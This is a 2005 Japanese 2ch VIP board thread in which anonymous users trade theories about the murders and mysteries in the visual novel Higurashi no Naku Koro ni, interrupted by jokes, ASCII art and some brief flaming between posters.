| ＶＩＰでひぐらしのなく頃に解明しようぜ？ 1 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 05:42:01 ID:qWIERkVO0 犯人はヤス 前スレ ＶＩＰでひぐらしのなく頃に解明しようぜ！ http://ex11.2ch.net/test/read.cgi/news4vip/1117996388/ 2 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 05:42:34 ID:csXqtdSx0 カツオです。 この前マスオさんが一人で自分の部屋に入ったっきり出てこないから、おかしいな？ って思って覗いてみたんです。 そしたら、マスオさん、パソコンでＶＩＰに糞スレ立てて喜んでました。 こりゃ、姉さんに見つかったら大変だ～。 さて、次回のサザエさんは ワカメの淫靡なミニスカート事情 タラオの豪傑ド根性列伝 波平、キャバクラ必勝法 の三本です。 来週もまた見てくださいね～。じゃん・けん・ぽん!うふふふ 3 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 05:44:18 ID:qWIERkVO0 >>1 乙 4 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 05:53:53 ID:hh6pJYC+0 >>1 乙。 5 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:01:44 ID:lQe+IvM+0 >>1 乙。オヤシロさまここにおいておきますね。 6 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:02:59 ID:hh6pJYC+0 うはｗｗｗｗｗ 1000 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:01:44 ID:WKCdO9k10 すじ 7 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:03:01 ID:lQe+IvM+0 前スレ消費完了ー。 8 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:03:23 ID:qWIERkVO0 前1000はサトコ 9 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:03:24 ID:WKCdO9k10 ごめんなさいごめんなさいごめんなさいごめんなさい 10 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:03:31 ID:WfRf1j5v0 レナは鬼が淵の底に住んでる竜族 11 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:04:24 ID:WI8asfhG0 犯人は実はK1の父 12 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:05:36 ID:lQe+IvM+0 まぁ、次スレ立ったし、こっからは俺も名無しに戻るとしよう。 話の流れは大災害だったみたいね。 13 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:07:28 ID:hh6pJYC+0 なんでK1が災害起きても生きてたのかってあたりか？ 14 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:08:50 ID:WKCdO9k10 何の犯人？ 15 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:09:47 ID:lQe+IvM+0 うーん、妥当な考えとしては、 ・倒れていた場所にガスが流れてこなかった。 ・気絶していたため仮死状態で、吸うガスの量が少なかった。 （…でも寝てる人の大半が死んだことを考えるとなぁ） ・倒れている間に、どこかに移動させられていた。 ・倒れている間に、誰かが守ってくれていた。 16 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:10:49 ID:qWIERkVO0 仮死状態だったってのは無し？（； ＾ω＾） 17 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:10:49 ID:7xQckBdC0 圭 一 は ガ ス を 吸 っ て も 死 な な い 体 質 だ っ た の さ 18 ：前スレ56：2005/06/07(火) 06:11:26 ID:8c89jy7p0 んじゃ俺もこれで名無しに戻るわ。 >>12 大災害だねー これまでの俺の中のまとめ なんでK1無事なの？→そもそも村全滅原因がガスじゃ無いんじゃね？ →読み返しにより不可能、やっぱ死因ガスっぽ→読み返した時にK1覚醒時には臭い感じてない →んじゃそもそもK1のいた場所にはガス流れてなかったんじゃないのか 19 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:11:27 ID:hh6pJYC+0 サトコが行方不明なのが関係してるかな？ 20 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:12:22 ID:6JrbgnHe0 Ｋ１がそこにいるの知ってたのサトコだけだし守ったんじゃね？ そうするとサトコ毒ガス犯の可能性も出てくるわけだが 21 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:12:38 ID:lQe+IvM+0 >>16 うん、一応それが適当だとは思っているんだが。 でも仮死状態と睡眠状態、睡眠状態の方が呼吸数は多いだろうけど、 あそこまで明確な差が出るほどのものだろうか？ と思うわけで。 >>17 それだったら圭一マジでＫＯＯＬｗｗｗｗｗｗｗｗｗ 22 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:13:25 ID:unIlJPET0 本気で考えてた時の推理メモが出てきた、日本語も解釈も間違ってると思うけど。 ('A`)晒しうｐｼﾏｽ http://www.uploda.org/file/uporg120833.zip 23 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:14:50 ID:7xQckBdC0 ／,rヽ|:|;;;;;;;;;;ﾐ''ﾞ` ﾞ'ヾ;;;;;;;;;;;;;;;;;;;;＼ ＿,,,,,l ､{ミ/,|::|''ﾞ` , ﾞヾ;;;;;;;;;;;;;;;;;;;;`i Ｋ Ｏ Ｏ Ｌ！！Ｋ Ｏ Ｏ Ｌ！！ ／:::／| |ﾊ/ ﾉ:0:､ ､-' ヾ;;;;;;;＼--' :::／;rl ` |::／`､＼ ヾ;;;;;;＼. Ｋ Ｏ Ｏ Ｌ！！Ｋ Ｏ Ｏ Ｌ！！Ｋ /;;;/ ` /koolヽ ヽ `;;/ ） ;;;;;| / l. ﾞ､::::::::::`.､|,, / , ,/ ／ Ｏ Ｌ！！Ｋ Ｏ Ｏ Ｌ！！Ｋ Ｏ ;;;;;| /｜ `' ､::::::::）､／ '' ,/ ／＿ ;;;;;|/ | _ ￣ >',ｒ-二''''- ､／,.､＿ `i Ｌ！！Ｋ Ｏ Ｏ Ｌ！！Ｋ Ｏ Ｏ ;;;;;| | /' `ヽ ､ / '!;::::::::￣フ ,/'＾''ーﾞニ/ ￣￣'| |i ｉ＼_`'' `''=-' |l ／ ！！Ｋ Ｏ Ｏ Ｌ！！Ｋ Ｏ Ｏ Ｌ ￣`i;;;;!, ヾ ノ／ _,,､-''` ,..､ l;| ／＿ ::::::::l;;;;lﾞ､ `'' _,,,,､-''''`::::::::::| {{＾＼､_jﾉ ￣ `i ！Ｋ Ｏ Ｏ Ｌ！！Ｋ Ｏ Ｏ Ｌ！ ::::::ﾉ;;;;j,/`''''';;;;;ﾉ;;;;j:::::::::::o::｣ ,j} 24 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:15:30 ID:8c89jy7p0 >>15 仮死状態ってのはたしか体温が35度以下にあって身体の機能が停止 蘇生措置などで生き返る可能性があるっていう限りなく死に近い状況で 何もしてないのに覚醒したK1は仮死状態になったってのは無理があるっぽ 25 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:15:47 ID:qWIERkVO0 K1が気絶してる間に移動させられたってのは俺も考えた わざわざ移動させるってことは大災害が起こることを知ってる人間？ ってことは大災害で死んだ人以外の人間がK１を移動させた？ K1を移動させる意図は？わからんことが多すぎるｗｗｗｗｗ 26 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:16:41 ID:7xQckBdC0 >>24 仕様 27 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:19:27 ID:hh6pJYC+0 確かK1が倒れてたとこって地形的にはガスが流れ込む場所なんだよな っつーことはやっぱ人為的な災害だったと 28 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:20:50 ID:gvMqt74M0 >>22 なかなかいいこと書いてあるｗｗｗｗ ある程度の推理まとめｻｲﾄ ttp://homepage3.nifty.com/azi/higurasi.html ttp://strangeworld.cc/~karuta/higurasi/ ttp://www.wikihouse.com/higurasi/index.php 29 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:23:07 ID:qWIERkVO0 >>18 インタビューでK1は自分が落ちたつり橋の位置に自信がなさそうだったから 記者が言ったガスが流れ込む河原とK1が気絶してた河原の位置が違うんじゃないかとも思った 30 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:23:10 ID:lQe+IvM+0 >>22 乙。読んだ。俺のより綺麗に纏まってるナァ…ウラヤマス。 >>24 だとしたら、「誰かが蘇生処置を施した」って可能性が見えてくる。 ……無理があるなぁ。 やはり、ガスが流れ込まなかったというのが一番適当な気がする。 しかしそれだと……うーん……。 確か、倒れていたのは川辺で、 落下したのに死ななかったのは車がクッションになったからだったな。 31 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:24:34 ID:8c89jy7p0 >>22 良い感じでまとまっててナイス それにしてもひぐらしって一個の謎を解いたら芋づる式に他の謎が解けるわけじゃないってのが 厄介というか上手いところだよな。鬼隠し編の謎なんかはKOOL化による暴走とかで大抵説明ついちゃうけど K1のラストとか物語のキモ、過去４年とトッキー＆ミヨ殺害の謎はちっとも解決されねぇもんな 32 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:26:54 ID:lQe+IvM+0 >>31 まて、それ結構重要なコトじゃね？ 「芋づる式に解決されない」ってことは、 それらの事件が「繋がっていない」ってことを示さないか？ 33 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:31:50 ID:MuxXMQqR0 俺の思うトミー鷹野事件の考察書いてもいい？かなり長いけど･･･ もしくは今の議題についてまだ話したい? 34 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:32:32 ID:lQe+IvM+0 >>33 アイデアは出尽くした感が否めないかな。前スレから引っ張ってるし。 人が少ないうちにどぞー。 35 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:33:45 ID:MuxXMQqR0 まあ、全スレのまとめなんだが････ よし、それじゃ俺の思う鷹野･トミー事件の考察いくぜ。 鷹野さんは鬼隠し編は単独で、それ以外はトミー＋αと共に祭具殿に進入。 その次は園崎家か古手家を調べようと思った。 しかし、さすがに忍び込めそうもない。しかも祭具殿に入ったことがばれたら祟りにあうかもしれない。（ここでいう祟りは人の手に よる事故に見せかけた殺人、もしくは失踪） そこでイリーと組む。 イリーは園崎家のグループに属していて、それなりの権力がある。 イリーと鷹野が組む理由は、イリーも真実が知りたかった。もしくは恋人どうしだったから。 トミー殺し イリーが、祭具殿に入ったやつがいる。祟りにあわせるから人を貸してくれ。とかいって園崎家から何人か手下をよこしてもらう。 車でトミー追う。トミーは車も自転車も通れないような道を走って逃げる。 しかし、土地勘の差で追いつかれリンチ。動けなくなったとこでノドカキムシールうつ。 トミー、錯乱して近くにあった角材を拾って暴れる。だが錯乱しているので、明後日のほうに角材を振り回す。 結局喉掻き毟って絶命。 次にトミーと一緒にいて疑われている鷹野のため偽の死体を用意。 このままでは鷹野ではないとばれるため、焼死体にする。 園崎家は、鷹野は焼身自殺をしてしまっていた。だが、(入江が)鷹野と断定したので岐阜の山中に捨てに行く。 これで五年目の祟りが完成。 鷹野は死んだことになっているから、表には出ないでこそこそ調べてたか、偽の死体と入れ替わって、やっぱり調べていた。 36 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:34:14 ID:8c89jy7p0 >>32 そう言われればそうだな。 目明しなんかでも分かったが全章で死んでる過去４年とトッキー、ミヨの殺害は 鬼 K１ 綿 梨花ちゃま さとこ 魅音 祟 梨花ちゃま イリー リサ 大石ペア（行方不明） これらの殺人とは無関係、もしくは想定外だったんじゃないかと推論できるな。 37 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:34:38 ID:+HCCH1cS0 K1とレナは高二おｋ？ 魅音が受験生ってことは三年で、その一個下ってことで二年は間違いないけど レナの制服的に高校生っぽいから、 K1 17（四月生まれ）高二 レナ 16（七月だっけ？）高二 魅音＆詩音 17～18（不明）高三 沙都子 11（六月：綿流し祭の数日後）小六 梨花 11～12（不明）小六 これで間違いないかな でも高二だとしたら本文中にある沙都子たちと年が近いってのは… 38 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:35:24 ID:WI8asfhG0 シエル先生、祟り（タタリ）、詩音（シオン）→人殺し、なんかもう偶然と思えないんですけど 39 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:35:52 ID:yWdUqOTk0 >>28 二つ目のurlがstrangeworldで踏んだ瞬間あせった 40 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:36:53 ID:8JPcYupS0 >>38 それは俺も思ったというかどこかでそれをモチーフにした絵を見たなｗｗｗ 糞ﾜﾗﾀｗｗｗｗ 41 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:41:36 ID:lQe+IvM+0 >>35 うむ。入江の介入ですか。よい感じだな。 確か入江は園崎とは、外見上はよろしくないようにしていたハズだな。 ただ、「祭具殿に入ったから」という理由で人を貸し出すっていうのが少々弱いかと。 確かにとんでもないコトかもしれないが、 綿流しでは詩音が情報流しても結局誰一人動かなかったわけだしな…。 あと、死体を燃やすなんて派手なコトをしておいて、 鬼隠しで死体が見つからなかったのも少々弱い。 そして何より「鷹野が１人で祭具殿に入った」というのが、チト。 うーん、重箱の隅をつつくようで悪い。 42 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:43:23 ID:VEkNOMhf0 真犯人は>>43 43 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:43:51 ID:8JPcYupS0 おまえか～ 44 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:45:09 ID:lQe+IvM+0 >>37 圭一 14 レナ 14 魅音 15 サトコ 12 梨花 12 コレ竜騎士公言ね。 本家で年齢スレがあるけどコレで解決。 推理の片隅にでも置いておいてくれ てのが、前スレのどっかにあった。 イベント会場で聞いた、みたいな話だったけどどんなもんだろ？ ここに来て、スレ住人まで疑いたくはないもんだけどなｗ 詩音のバイクについては無免許運転説とかも出てた。 45 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:45:15 ID:S3IlU4yy0 ?## いや、巣に帰れよ。何いまさらひぐらしやってんだよ。 ＶＩＰでやることじゃねーだろキモオタ 帰れ帰れ 46 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:45:30 ID:7xQckBdC0 >>43 47 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:46:07 ID:7xQckBdC0 ?## >>45 で？って言う 48 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:47:27 ID:8c89jy7p0 >>35 おお、概ね俺の推理とカブっててちょっと嬉しい 俺の推理と唯一違うのは イリーが手を貸して欲しいと協力を仰いだのは梨花ちゃま一派なんじゃないかな…と 目明しで「殺人犯を探してもわからんかった」と言ってるので園崎家自体は関与してないとふんでる。 根拠として ﾉﾄﾞｶｷﾑｼｰﾙを所有しているのが明確に示されたのは梨花ちゃまだけ これに尽きる。もしﾉﾄﾞｶｷﾑｼｰﾙが園崎家に存在しているのならばっちゃと魅音も当然その存在を知っているはず。 だが作中で園崎がその存在を認知、利用したフシが全く見られない。 さらに詩音を始末に来た梨花ちゃまが手に入れられたって事はﾉﾄﾞｶｷﾑｼｰﾙは梨花ちゃまとオヤシロ信仰を妄信する 古手の周りにいる連中が所持しているんだと推論できる。 49 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:48:43 ID:S3IlU4yy0 ?## >>47 で？じゃねーよ池沼 専用スレがあんだろ専用スレが 推理じゃなくてこじつけなんだからキモオタスレでやれよ マジうぜー sageてろ 50 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:49:44 ID:7xQckBdC0 >>49 で ？ 51 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:50:48 ID:lQe+IvM+0 >>48 ﾉﾄﾞｶｷﾑｼｰﾙ前提かー。 だとしたら割と良い感じですな。 しかし梨花がどこから薬を持ってきたかってのははっきりしないよな。 入江診療所から、という可能性もなきにしもあらず。 52 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:51:05 ID:kGw4xuMJ0 喧嘩はやめてください＞＜ 53 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:51:43 ID:+HCCH1cS0 >>44 レスさんくす あいつら厨房だったのか… でも色々矛盾が… まぁいいか 54 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:53:27 ID:lQe+IvM+0 >>53 うーん、何か 「幼い子供が殺される描写があるから、年齢は公式に発表はできない」 というような話らしいよ。 55 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:54:16 ID:unIlJPET0 >>28 >>30 >>31 頭のよくない俺には解決できませんですた…('A`) メモも途中で放置… 56 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:54:57 ID:S3IlU4yy0 ?## >>50 で？死ね池沼 57 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:55:20 ID:+HCCH1cS0 >>54 なるほどねー 幼い子供が殺される描写を気にするならすじも気にした方がいいんじゃまいか 58 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:55:38 ID:lQe+IvM+0 >>55 いあｗｗｗｗｗおｋｗｗｗｗｗ まぁ、１人で解決できないならみんなでがんばろーぜｗｗｗ うはｗｗｗｗ俺ｷﾓｽｗｗｗｗｗｗ 59 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:56:26 ID:7xQckBdC0 >>56 死ねません＞＜ごめんなさい＞＜ 60 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 06:59:22 ID:S3IlU4yy0 ?## あの目思い出してこえーからやめろっていってんだよキモオタが 消えろ オカ板でやれボケ 61 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:00:58 ID:7xQckBdC0 >>60 そう言われるとますます続けたくなっちゃいます＾＾ 62 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:01:00 ID:MuxXMQqR0 >>41 祭具殿には何か重要なものが隠されてた。 綿でk1･詩音が出て行った後も調査していたから、その時に重要ななにかを知った。(写真は撮ったが気づかなかった？) 死体は火をつけて焼死体にしたんじゃなく、火葬場みたいなとこで焼いたとかは？ 鷹野さんが一人で忍び込んだってゆうのは、もともとトミーは見張り役くらいにしか考えてなかった。 トミーが来ないけど儀式はじまってしまったから、しかたなく一人で忍び込んだ。鍵は南京錠だから簡単に開けれるよね？ 綿で詩音が情報流しても誰も動かなかったのは････誰か考えてｗｗｗｗｗｗｗｗ 63 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:02:56 ID:8c89jy7p0 >>51 ﾉﾄﾞｶｷﾑｼｰﾙぐらいだったら存在してもいいんじゃないかなと それが俺のオカルトボーダーライン（目明しまではそれも否定してたけど） 仮にイリーメイドだとさらにこう考えられないかな？ 何故イリーは大きな力を持つ園崎ではなく梨花ちゃまに薬を渡したか。 性的趣向はおいといて打算だけで考えたら子供とジジババだけの古手周辺に切り札とも言える薬を渡すのは 効率がよろしくない。 んでこう仮定する、園崎は「表」古手は「裏」 市会議員やヤクザ、財源など主だった雛見沢のドンは園崎なんだが 過去４年の殺人なんかは古手の一派が実行し、しかもその部隊は完全独立で園崎すら把握していない。 園崎は勝手に起きた事件をまるで自分達が実行したかのように見せかけることで威光を示し 古手は園崎を隠れ蓑にできる、警察は当然園崎が怪しいと思うがただでさえバックがついてる上に 本当に何も知らないんだからいくら調べたって証拠なんて出てくるわけが無い。 完全に２つの勢力がスタンドアローンだからこそ出来る協力プレイ。 どうかな？穴だらけっぽいけど。 64 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:04:29 ID:+HCCH1cS0 >>60 ﾜﾛｽ 65 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:06:22 ID:qWIERkVO0 >>62 ＞ 綿で詩音が情報流しても誰も動かなかったのは････誰か考えてｗｗｗｗｗｗｗｗ 目明し編の魅音の最後の言葉「お魎は後付で園崎がやったように見せていたうんぬん」が 真であったなら納得はいく 66 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:06:32 ID:i/aWPGQs0 全ての謎はオヤシロパワーで説明がつくじゃないか 67 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:07:13 ID:8c89jy7p0 >>41 ハナっから鷹野はトミー殺害を計画してて村人の協力を仰ぐために祭具殿の話を持ち出したってのは？ いい加減自分の秘密を知りすぎててウザくなったトミーを殺害したいけど自分ひとりでは 完全犯罪は無理、なら４回も完全犯罪を実行した村の連中を使おう…みたいな んで村の人を動かす理由と自分の知的好奇心の一石二鳥で祭具殿にトミーを道連れにした…とか 68 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:10:18 ID:lQe+IvM+0 >>62 うーん、梨花ちゃんの言葉を借りると、 「みんなが怖がるから隠してるだけ」だと、思うわけで。 俺はこれは真実だと思うんだよな。……別に梨花ちゃん好きだからじゃないぞ。 なるほど、別の死体処理法を使った、か。 だけどその論理で行くと「死体は見つかった方がいい」んだよな？ 死体が見つからず、失踪してしまったら、 それこそ鬼隠しか「罪を犯して逃走した」って話になってしまう。 死体がいつまでもみつからないと、捜索も続くことになるわけだし。 （増してやあの人は一応、住んでる場所は雛見沢じゃなく興宮なわけだし） 鷹野１人……はやっぱり、うーん。 南京錠たってそう簡単に開けられないと思うんだよな。シロウトには。 だったら、演舞の会場にもう１人仲間がいて、 ソイツがカメラばしゃばしゃやって富竹がいるように見せかけた…て方が良いかと。 少なくとも圭一が姿を確認した描写はないし。実は見てたかもしれないけどさ…。 誰も動かなかった理由……そだなぁ、やっぱり 「誰かがやる」と思ったとか、 みんな「富竹、鷹野を殺した奴らがやるだろう」と思った、とかか…。 69 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:12:55 ID:qWIERkVO0 ピヨッた 70 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:14:58 ID:S3IlU4yy0 ?## オヤシロとか二度というな 俺キレっからな 71 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:17:35 ID:9Yf9LSte0 オヤシロ様うびらー 72 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:18:12 ID:unIlJPET0 >>70 |ω・｀) ｵ…ｵﾔｼﾛ様は居るんだよ…。 >>58 おｋｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 73 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:21:58 ID:lQe+IvM+0 >>63 ふむ。古手黒幕説か。いあ、良い感じだと思うよ。 しかし、だとすると御三家の一つである公由もなんか一枚噛んでそうだな。 園崎の内部ですら、横のつながりのない複数のピラミッドで構成されてるらしいからな。 これはひょっとすると村全体にいえることなのかもしれん。 >>41 鷹野に村人を動かすだけの力と信用があったかどうかは謎だなぁ。 だとしたらむしろ、病院の人間を使いそうだ。 男性スタッフ多いみたいだし、 「何かジロウさんが発狂しだしたの！」とか言って。 トミーには元々薬か何かを飲ませて状態異常を起こしておく。 鬼隠しのゴミ捨て場で圭一が殴られたのが医療スタッフなら、 黙らせるために殴る蹴るくらいのことはしそうなものだ。 で、トミー丈夫だからなかなか倒れなくて何度も殴ることになる。 で、トミーはそこから逃走して……以下略。 74 ：73：2005/06/07(火) 07:23:56 ID:lQe+IvM+0 よ、４１じゃなくて>>67だた…。 75 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:26:16 ID:MuxXMQqR0 >>68 みんなが怖がるものが拷問器具以外にあるとしたら･･･初代オヤシロ様？ｗｗｗｗ いや死体は園崎家をだますものだから、見つかって欲しくはない。 イリーが死体でっち上げて、これが鷹野です。って園崎家に渡し、 園崎家がその死体を鬼隠しした。 鷹野一人 仲間がいれば何とかなるならそこでイリーの登場 誰も動かなかった理由 目明しやってないからﾜｶﾝﾈｗｗｗｗｗｗ 76 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:28:54 ID:MuxXMQqR0 >>75 おっと死体のとこカンチガイしてたぞｗｗｗｗｗｗｗ 忘れてくれｗｗｗｗｗｗｗｗ 77 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:29:53 ID:i/aWPGQs0 オヤシロ様＝プレーヤー説は既出？ 78 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:30:55 ID:7xQckBdC0 >>70 http://www.vipper.org/vip26034.jpg 79 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:34:14 ID:S3IlU4yy0 ?## >>78 おま、ゆるさねー ＶＩＰからでてけ 80 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:34:15 ID:8c89jy7p0 >>73 公由に関してはカリスマ性ってところで他の２家と比べて圧倒的に不利だからなぁ… どーも「すること無いんだから村長でもしとけ」みたいな感じがする。 仮にも村の代表なんだから危ない橋は渡れないだろうし。 別に鷹野さん自体に力も信用も無かったとしてもイリーという フィルターを通してやればけっこう楽に村人使えるんじゃないかな？ 「富竹さんが祭具殿に侵入して…」とか言えば信用しないわけにもいかないかと 81 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:48:45 ID:lQe+IvM+0 >>75 ふむぅ。拷問器具以外に恐れるものがあった、か。どうだろう。 死体が見つからないと、捜索が続く。 捜索が続くと「本物」が見つかってしまう可能性はないか？ ところでどこをカンチガイしたんだ？ 今ちと考えてみたんだけど、やはりトミー以外の人がカメラは厳しいな。 どこで撮ってたかしらないけど誰かしらの目には入るだろう。 狭い村だから、いくら変装したところで同じ服着た双子でもないとバレてしまう。 >>80 公由の立場、か……。 そもそもどーしてそんなに立場が弱くなってしまったんだ？ 園崎が強くなったから？ 詩音は公由の家にも祭具殿があるんじゃないかって推理してたよな…。 どうなんだろ？ ふむぅ。やはりイリーか。 いくら村の名士とはいえ、そこまで力があるものなのか……。 だが、「一見園崎のばっさまとは仲が悪い」ってのは繋がりを隠してる所為か？ あー、頭こんがらがってきた。 82 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:55:50 ID:lQe+IvM+0 http://www.vipper.org/vip26098.jpg.html 何か息抜きに書いたサトコ。手抜き。 83 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:57:23 ID:8c89jy7p0 >>81 公由の立場 園崎には財、古手にはオヤシロサマという武器があるのに対して公由にはコレと呼べる武器が無いからだと 祭りの運営やらなんやらの普通の自治体レベルだったらけっこー頑張ってるから 事件無視してフツーに見ればそれなりに村に貢献してるのかもしんないね。 イリー関連 これは「ﾉﾄﾞｶｷﾑｼｰﾙが存在して」「イリーメイド」だという前提というトンデモ設定での考察だが さっき書いた古手暗躍説と照らし合わせると当然裏家業もしてるわけで表である園崎とはおいそれと仲良くできない。 さらに決定的武器であるﾉﾄﾞｶｷﾑｼｰﾙの製造者なんだから裏部隊である古手には当然発言力が発生するんじゃないかな？ 84 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 07:58:21 ID:riwN11nsO ttp://avi.jp/~infinity/game/regist.php?fc=79586 ここから登録してinfinityやろうぜ！ ちなみに携帯で出来る無料のオンラインゲーム 85 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:02:44 ID:lQe+IvM+0 >>83 ふむ、なるほど。一般的認識としては 表が公由、裏が園崎、だからな。その園崎の裏にさらに古手がいるかも？ってことだな。 表の支配をまかされてて、それはそれで大事なコトだからな。園崎を庇うという面でも。 ﾉﾄﾞｶｷﾑｼｰﾙがそもそも存在しない、と考えるとがたがた話が崩れてくる…。 その「前提」をどこに置くかで推理が全然変わるんだよなぁ。 俺はﾉﾄﾞｶｷﾑｼｰﾙについては否定派だから、そゆあたりでも食い違いが生じてくる。 だがその内容にはほぼ納得。 86 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:12:38 ID:xJwzZm1V0 infinityと聞いて すべての事件がキュレイシンドロームで解決できると気が付いてしまった件 87 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:16:27 ID:7xQckBdC0 すべて宇宙人の仕業だよ説 88 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:20:55 ID:8c89jy7p0 >>85 そーなんだよなー、ﾉﾄﾞｶｷﾑｼｰﾙが存在しないとなると 「なんでトミーはあんな死に方したの？」から考え直さないといけないんだよな。 さらに「なんで梨花ちゃまはわざわざ喉を掻き毟って死んだの？」って疑問も出てくる。 ﾉﾄﾞｶｷﾑｼｰﾙが存在するってんなら今までの考察はそこそこ自信あるんだが。 俺は トミー K1 梨花ちゃま 偶然は３回も続けば必然だと思うからﾉﾄﾞｶｷﾑｼｰﾙ 否定派の考察を是非聞かせて頂きたい。 納得できるかもしれんし場合によっちゃあ補填もできるかもしれん。 89 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 08:24:51 ID:MuxXMQqR0 >>81 拷問器具以外に怖いもの あるともないとも言えない。(反論なければ保留） 捜索はしてもイリーの家とかにかくまってれば、家宅捜索されない限り大丈夫。 われらの暴走魔列車、鷹野さんが一人でつっぱしらなきゃ････ トミーがぱしゃぱしゃやってたのって村人の目撃なかったっけ？ だとしたら、祭具殿の中に入るには････ 鷹野さんが鍵開けスキルを持っていた。(綿の時はトミーやらせただけ？) イリーが鍵開けスキルを持っていた。(祭りの時イリーどこにいた？) 合鍵を作っていた。(だからトミーは写真に専念できた？それなら綿のときはもってなかった？) 屋根の隙間からはいった(サトコがはいってしまったとこ。大人には狭すぎる？) ぐらい？ あとカンチガイだが、なにカンチガイしたのか皆目見当もつかないｗｗｗｗ きっとKOOLモードになったんだｗｗｗｗｗｗｗｗｗｗｗ 90 